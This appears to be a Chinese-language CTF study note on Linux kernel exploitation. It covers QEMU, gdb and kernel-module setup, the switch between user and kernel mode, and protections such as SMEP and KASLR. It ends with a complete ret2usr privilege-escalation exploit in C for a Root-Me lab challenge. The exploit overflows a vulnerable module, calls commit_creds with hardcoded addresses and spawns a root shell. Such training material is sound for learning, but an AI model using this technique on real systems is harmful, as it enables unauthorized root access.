0x00 Setup
基础概念
vmlinux 是未压缩的可执行内核文件
vmlinuz 是压缩后的可执行文件 包括bzimage\zimage
initrd (initial ramdisk)是用于启动时临时引导硬件到内核的临时文件系统
内核向下控制管理硬件,向上提供应用运行环境
源码阅读 https://elixir.bootlin.com
运行环境
apt-get install qemu-system
启动命令示例
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
调试
-s 选项打开gdb:1234调试
qemu-system-i386 -kernel ./bzImage -append "console=ttyS0 oops=panic panic=1" -initrd ./rootfs -nographic -s
gdb -q
(gdb) set arch i386:x86-64
(gdb) target remote localhost:1234
文件系统
将busybox或其他文件系统通过cpio打包即可,qemu启动时直接作为initrd启动
启动后根目录下的init脚本会被执行
find . | cpio -o -H newc > ./rootfs
编译内核
编译环境
坑:在Ubuntu新的版本中’ncurses-devel’是以’libncurses5-dev’命名的 sudo apt-get install ncurses-devel 定位不到包
sudo apt install libncurses5-dev ncurses-dev
sudo apt-get install libncurses* build-essential openssl zlibc minizip libidn11-dev libidn11 libssl-dev flex libncurses5-dev
下载源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.5.6.tar.xz
编译配置
make mrproper
make menuconfig
配置好退出保存
make -j8
编译成vmlinux文件
make -j8 bzImage
编译成bzImage文件
开始漫长的编译
清理现场
make clean
内核模块
赛题中的kernel pwn出题点多在LKM的漏洞利用上
也是编译成可执行文件,但只能运行在内核上
补充Linux内核的功能,包括 文件系统或设备驱动等
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("23333");
MODULE_DESCRIPTION("hello world module");
static int __init hello_init(void)
{
printk(KERN_WARNING "hello world.\n");
return 0;
}
static void __exit hello_exit(void)
{
printk(KERN_WARNING "hello exit!\n");
}
module_init(hello_init);
module_exit(hello_exit);
编译内核模块
obj-m := hello.o
KERNELBUILD := /home/xxx/linux-5.5.6
CURDIR := /home/xxx/Linux-Kernel/build/Test
modules:
make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
make -C $(KERNELBUILD) M=$(CURDIR) clean
内核模块的加载
insmod: 讲指定模块加载到内核中
rmmod: 从内核中卸载指定模块
lsmod: 列出已经加载的模块
内核使用的printk将输出打印到内核缓冲区而非标准输出
使用dmesg
可以查看内核缓冲区的内容
找到赛题中的LKM
解压文件系统,看init文件,找到insmod的模块地址
内核机制
用户态运行于ring3
内核态运行于ring0
内核栈与用户栈是隔离的,传递参数时需要寄存器
切换的过程:
usr2kernel
- 通过
swapgs
切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。 - 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入
RSP/ESP
。 - 通过 push 保存各寄存器值
- 通过汇编指令判断是否为
x32_abi
。 - 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
kernel2usr
- 通过
swapgs
恢复 GS 值 - 通过
sysretq
或者iretq
恢复到用户控件继续执行。如果使用iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等)
提权
修改进程权限结构体cred
commit_creds(prepare_kernel_cred(0))
函数符号表
cat /proc/kallsyms
模块节区表
/sys/module/模块
add-symbol-file 加载
保护机制
- smep 当处理器处于
ring 0
模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为PXN
) - smap 当处理器处于
ring 0
模式,访问用户空间的数据会触发页错误。 - MMAP_MIN_ADDR 控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据
- KASLR 内核地址空间布局随机化 允许kernel image加载到VMALLOC区域的任何位置
0x01 ret2usr
[Root-Me]LinKern x86 – Buffer overflow basic 1
拿到ko后缀的内核模块,拖进ida直接看
write行为中,copy_from_usr存在溢出
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
//ret2usr时的恢复信息
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
//ret2usr后执行的shell
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
//伪造现场信息
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
//提权
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char Padding[9] = "AAAAAAAA";
char Eip[5];
init_tf_work();
int fd = open("/dev/tostring",2);
for(int i = 0;i < 0x40; i++)
write(fd,Padding,sizeof(Padding));
write(1,"OK!n",sizeof(Eip));
*((void**)(Eip)) = &payload;
write(fd,Eip,sizeof(Eip));
read(fd,receive,255);
return 0;
}